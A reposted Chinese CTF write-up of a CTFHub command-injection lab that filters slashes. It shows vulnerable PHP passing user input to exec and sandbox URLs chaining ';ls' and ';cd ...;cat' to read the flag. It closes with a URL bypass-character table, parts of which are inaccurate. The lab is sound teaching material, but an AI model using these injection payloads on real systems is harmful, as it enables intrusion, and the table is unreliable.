CTFHub | 过滤目录分隔符

news2024/11/23 12:03:57

0x00 前言

        CTFHub 专注网络安全、信息安全、白帽子技术的在线学习,实训平台。提供优质的赛事及学习服务,拥有完善的题目环境及配套 writeup ,降低 CTF 学习入门门槛,快速帮助选手成长,跟随主流比赛潮流。

        

        

0x01 题目描述

过滤目录分隔符:

        这次过滤了目录分割符 / ,你能读到 flag 目录下的 flag 文件吗?

网页显示内容

        

        

0x02 解题过程

检查网页源代码发现这题如果用户输入 / \ 就不会执行,说明这题对斜杠做了过滤处理。这里使用 HackBar 进行测试,在 URL 后输入 /ip=127.0.0.1 对本地进行 ping 命令测试,发现可以正常回显。

<?php

$res = FALSE;

if (isset($_GET['ip']) && $_GET['ip']) {
    $ip = $_GET['ip'];
    $m = [];
    if (!preg_match_all("/\//", $ip, $m)) {
        $cmd = "ping -c 4 {$ip}";
        exec($cmd, $res);
    } else {
        $res = $m;
    }
}
?>

        

在 URL 后加入参数分隔符号,输入 ls 命令进行查看,同样发现一个提示 “ flag 在这” 。说明 flag 可能在这个文件中。

http://challenge-d6bf92a0dd3e5ca9.sandbox.ctfhub.com:10800/?ip=127.0.0.1;ls

        

继续使用参数分隔符号先使用 cd 命令打开文件,然后使用参数分隔符号加上 ls 命令查看文件中的内容。发现一个文件 flag_20743606830887.php ,可能含有 flag 。

http://challenge-d6bf92a0dd3e5ca9.sandbox.ctfhub.com:10800/?ip=127.0.0.1;cd flag_is_here;ls

        

将 ls 命令替换成查看命令 cat 查看 flag_20743606830887.php 文件,在网页回显中发现一个空白回显。

http://challenge-d6bf92a0dd3e5ca9.sandbox.ctfhub.com:10800/?ip=127.0.0.1;cd flag_is_here;cat flag_20743606830887.php

        

检查网页源代码,在空白回显对应的源代码中发现此题 flag 。

        

        

0x03 过滤目录分隔符

        过滤目录分隔符是对文件路径中的目录分隔符,如斜杠 / 或反斜杠 \ 过滤或去除。这样做可以避免一些安全问题,比如,路径遍历攻击以及路径注入攻击等。

        

常见的 URL 绕过字符使用方法:

名称字符URL编码利用方法
换行符%0a%0a通过HTTP响应拆分攻击来插入恶意内容,或通过XSS注入恶意脚本
回车符%0d%0d类似于换行符,回车符也可用于HTTP响应拆分攻击和XSS注入攻击。
空格符%20%20通过空字符来欺骗文件上传验证或绕过其他安全控制,导致文件上传漏洞或其他漏洞。
管道符|%7c通过URL中使用管道符来执行SQL注入攻击或命令注入攻击。
逻辑与操作符&&%26%26通过URL中的逻辑与操作符来执行XSS攻击或代码注入攻击。
逻辑或操作符||%7c%7c通过URL中的逻辑或操作符来执行XSS攻击或SQL注入攻击。
小于号<%3c通过URL中的小于号来执行XSS攻击,注入恶意脚本。
大于号>%3e通过URL中的大于号来执行XSS攻击,注入恶意脚本。
双引号"%22通过URL中的双引号来执行XSS攻击,注入恶意脚本。
单引号

'

%27通过URL中的单引号来执行SQL注入攻击,注入恶意SQL语句。
反斜杠\%5c通过URL中的反斜杠来执行代码注入攻击。
正斜杠/%2f通过URL中的正斜杠来执行路径遍历攻击。
路径分隔符;%3b用于分割路径,同时也可以用于注入恶意代码,比如SQL注入攻击。
查询符号?%3f通过URL中的查询符号来执行SQL注入攻击。

        

        

0x04 总结

文章内容为学习记录的笔记,由于作者水平有限,文中若有错误与不足欢迎留言,便于及时更正。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/777643.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

订单逆向履约系统的建模与PaaS化落地实践 | 京东云技术团队

导读 本文重点介绍了京东零售电商业务在订单逆向履约上面的最佳技术实践&#xff0c;京东零售快退平台承接了零售几乎所有售前逆向拦截和退款业务&#xff0c;并在长期的业务和技术探索中沉淀了丰富的业务场景设计方案、架构设计经验&#xff0c;既能承接面向消费者C端用户的高…

【计算机视觉 | 目标检测 | 图像分割】arxiv 计算机视觉关于目标检测和图像分割的学术速递(7 月 17 日论文合集)

文章目录 一、检测相关(5篇)1.1 TALL: Thumbnail Layout for Deepfake Video Detection1.2 Cloud Detection in Multispectral Satellite Images Using Support Vector Machines With Quantum Kernels1.3 Multimodal Motion Conditioned Diffusion Model for Skeleton-based Vi…

记录--卸下if-else 侠的皮衣!- 策略模式

这里给大家分享我在网上总结出来的一些知识&#xff0c;希望对大家有所帮助 &#x1f92d;当我是if-else侠的时候 &#x1f636;怕出错 给我一个功能&#xff0c;我总是要写很多if-else,虽然能跑&#xff0c;但是维护起来确实很难受&#xff0c;每次都要在一个方法里面增加逻辑…

索引使用——单列索引、联合索引、索引设计原则

1.单例索引和联合索引 尽量使用联合索引&#xff0c;避免使用单列索引&#xff0c;因为使用联合索引性能相对而言会比较高&#xff0c;如果联合索引使用得当&#xff0c;可以避免回表查询&#xff0c;使用单列索引很容易造成回表查询的情况&#xff0c;造成性能降低。 create…

双Bank OTA升级:N32L40X BootLoader (一)

什么是双Bank升级&#xff1a;将Flash划分为以下4个区域。 BootLoader区&#xff1a;程序进行升级的引导程序&#xff0c;根据Upade_Flag来判断程序是跳转Bank1区运行程序或是将Bank2区的程序搬运到Bank1区&#xff0c;然后在运行程序。 Upade_Flag区&#xff1a;判断BootLoa…

OpenCV自带的HAAR级联分类器对脸部(人脸、猫脸等)的检测识别

在计算机视觉领域&#xff0c;检测人脸等是一种很常见且非常重要的应用&#xff0c;我们可以先通过开放计算机视觉库OpenCV来熟悉这个人脸识别领域。另外OpenCV关于颜色的识别&#xff0c;可以查阅&#xff1a;OpenCV的HSV颜色空间在无人车中颜色识别的应用HSV颜色识别的跟踪实…

WAIC2023:图像内容安全黑科技助力可信AI发展

目录 0 写在前面1 AI图像篡改检测2 生成式图像鉴别2.1 主干特征提取通道2.2 注意力模块2.3 纹理增强模块 3 OCR对抗攻击4 助力可信AI向善发展总结 0 写在前面 2023世界人工智能大会(WAIC)已圆满结束&#xff0c;恰逢全球大模型和生成式人工智能蓬勃兴起之时&#xff0c;今年参…

MQTT 与 Kafka|物联网消息与流数据集成实践

MQTT 如何与 Kafka 一起使用&#xff1f; MQTT (Message Queuing Telemetry Transport) 是一种轻量级的消息传输协议&#xff0c;专为受限网络环境下的设备通信而设计。Apache Kafka 是一个分布式流处理平台&#xff0c;旨在处理大规模的实时数据流。 Kafka 和 MQTT 是实现物…

模拟实现atoi函数

请记住那些对你好的人&#xff0c;因为他们本可以不这么做 文章目录 atoi函数介绍 模拟实现 大家好&#xff0c;我是纪宁。 atoi函数&#xff0c;它的功能是将数字字符转化为数字。我第一次见这个函数还是在大一上在刷蓝桥杯的时候&#xff0c;有一个关于回文数字的题&#x…

08.计算机网络——其他重要协议和技术

文章目录 DNSICMPNAT代理服务器 DNS DNS是一整套从域名映射到IP的系统 ​ TCP/IP中使用IP地址和端口号来确定网络上的一台主机的一个程序&#xff0c;但是IP地址不方便记忆&#xff0c;于是人们发明域名&#xff0c;其本质是一个字符串&#xff0c;映射了它和IP地址的关系。 …

融合黄金正弦算法和纵横交叉策略的秃鹰搜索算法(GSCBES)-附代码

融合黄金正弦算法和纵横交叉策略的秃鹰搜索算法(GSCBES) 文章目录 融合黄金正弦算法和纵横交叉策略的秃鹰搜索算法(GSCBES)1.秃鹰优化算法2.改进秃鹰优化算法2.1 基于纵横交叉策略2.2 基于惯性权重的位置更新2.3 黄金正弦捕食机制 3.实验结果4.参考文献5.Matlab代码6.python代码…

FreeRTOS-列表和列表项

列表和列表项&#xff1a; 列表是FreeRTOS中的一个数据结构&#xff0c;用来跟踪FreeRTOS中的任务。 列表项就是存放在列表中的项目&#xff0c;属于列表的子集。 列表就相当于一个链表&#xff0c;列表项就相当于节点&#xff0c;在FreeRTOS中的列表是一个双向的环形链表。 …

基于FPGA的视频接口之PAL(NTSC)编码

简介 PAL又称帕尔制&#xff0c;是咱们中国早期视频所是使用的视频广播模式&#xff0c;基本上现在的电视都兼容这种视频模式&#xff0c;使用的接口也是传统的BNC插头&#xff0c;有兴趣的伙伴可以看看电视屁股后面是不是有一个单独的BNC接口&#xff0c;百分之98就是支持PAL格…

FastReport.Net FastReport.Core 2023.2.23 Crack

FastReport.Net & FastReport.Core 2023.2.23适用于 .NET 7、.NET Core、Blazor、ASP.NET、MVC 和 Windows 窗体的全功能报告库。它可用于 Microsoft Visual Studio 2022 和 JetBrains Rider。 利用数据呈现领域专家针对 .NET 7、.NET Core、Blazor、ASP.NET、MVC、Windo…

【Windows】cmd和powershell命令合集

文章目录 1 前言2 一些规则3 cmd命令合集4 bat语法学习5 powershell命令合集6 powershell语法学习 1 前言 在日常使用过程中&#xff0c;总是会遇到不记得或无法区分cmd命令和powershell命令的情况&#xff0c;因为在Windows的工作大部分都是可视化的鼠标点击&#xff0c;用到命…

CLH自旋锁原理

CLH自旋锁 JUC中显式锁基于AQS抽象队列同步器&#xff0c;而AQS是CLH锁的一个变种。 在争夺锁激烈的情况下&#xff0c;为了减少CAS空自旋&#xff08;CAS需要CPU进行内部通信保证缓存一致性造成流量过大引起总线风暴&#xff09;&#xff0c;Java轻量级锁会升级为重量级锁&a…

大数据学习03-Hive分布式集群部署

系统环境&#xff1a;centos7 软件版本&#xff1a;jdk1.8、zookeeper3.4.8、hadoop2.8.5、hive1.1.0 一、安装 hive官网 下载hive安装包&#xff0c;上传到linux服务器上&#xff0c; 解压安装包 tar -zxvf apache-hive-1.1.0-bin.tar.gz -C /home/local/重命名文件 mv …

腾讯云轻量应用服务器搭建Typecho博客网站全流程

腾讯云轻量应用服务器自带Typecho应用模板镜像&#xff0c;腾讯云提供的Typecho模板镜像是基于CentOS 7.6 64位操作系统&#xff0c;并已预置Nginx、PHP、MariaDB软件程序&#xff0c;使用Typecho应用模板可以快速搭建博客、企业官网、电商及论坛等各类网站。腾讯云服务器网分享…

C# 反转链表

206 反转链表 给你单链表的头节点 head &#xff0c;请你反转链表&#xff0c;并返回反转后的链表。 示例 1&#xff1a; 输入&#xff1a;head [1,2,3,4,5] 输出&#xff1a;[5,4,3,2,1] 示例 2&#xff1a; 输入&#xff1a;head [1,2] 输出&#xff1a;[2,1] 示例 3…

Python中的标签编码和独热编码

在机器学习项目中&#xff0c;我们通常处理具有不同分类列的数据集&#xff0c;其中一些列的元素在有序变量类别中&#xff0c;例如列收入水平具有低&#xff0c;中或高的元素&#xff0c;在这种情况下&#xff0c;我们可以用1&#xff0c;2&#xff0c;3替换这些元素。其中1表…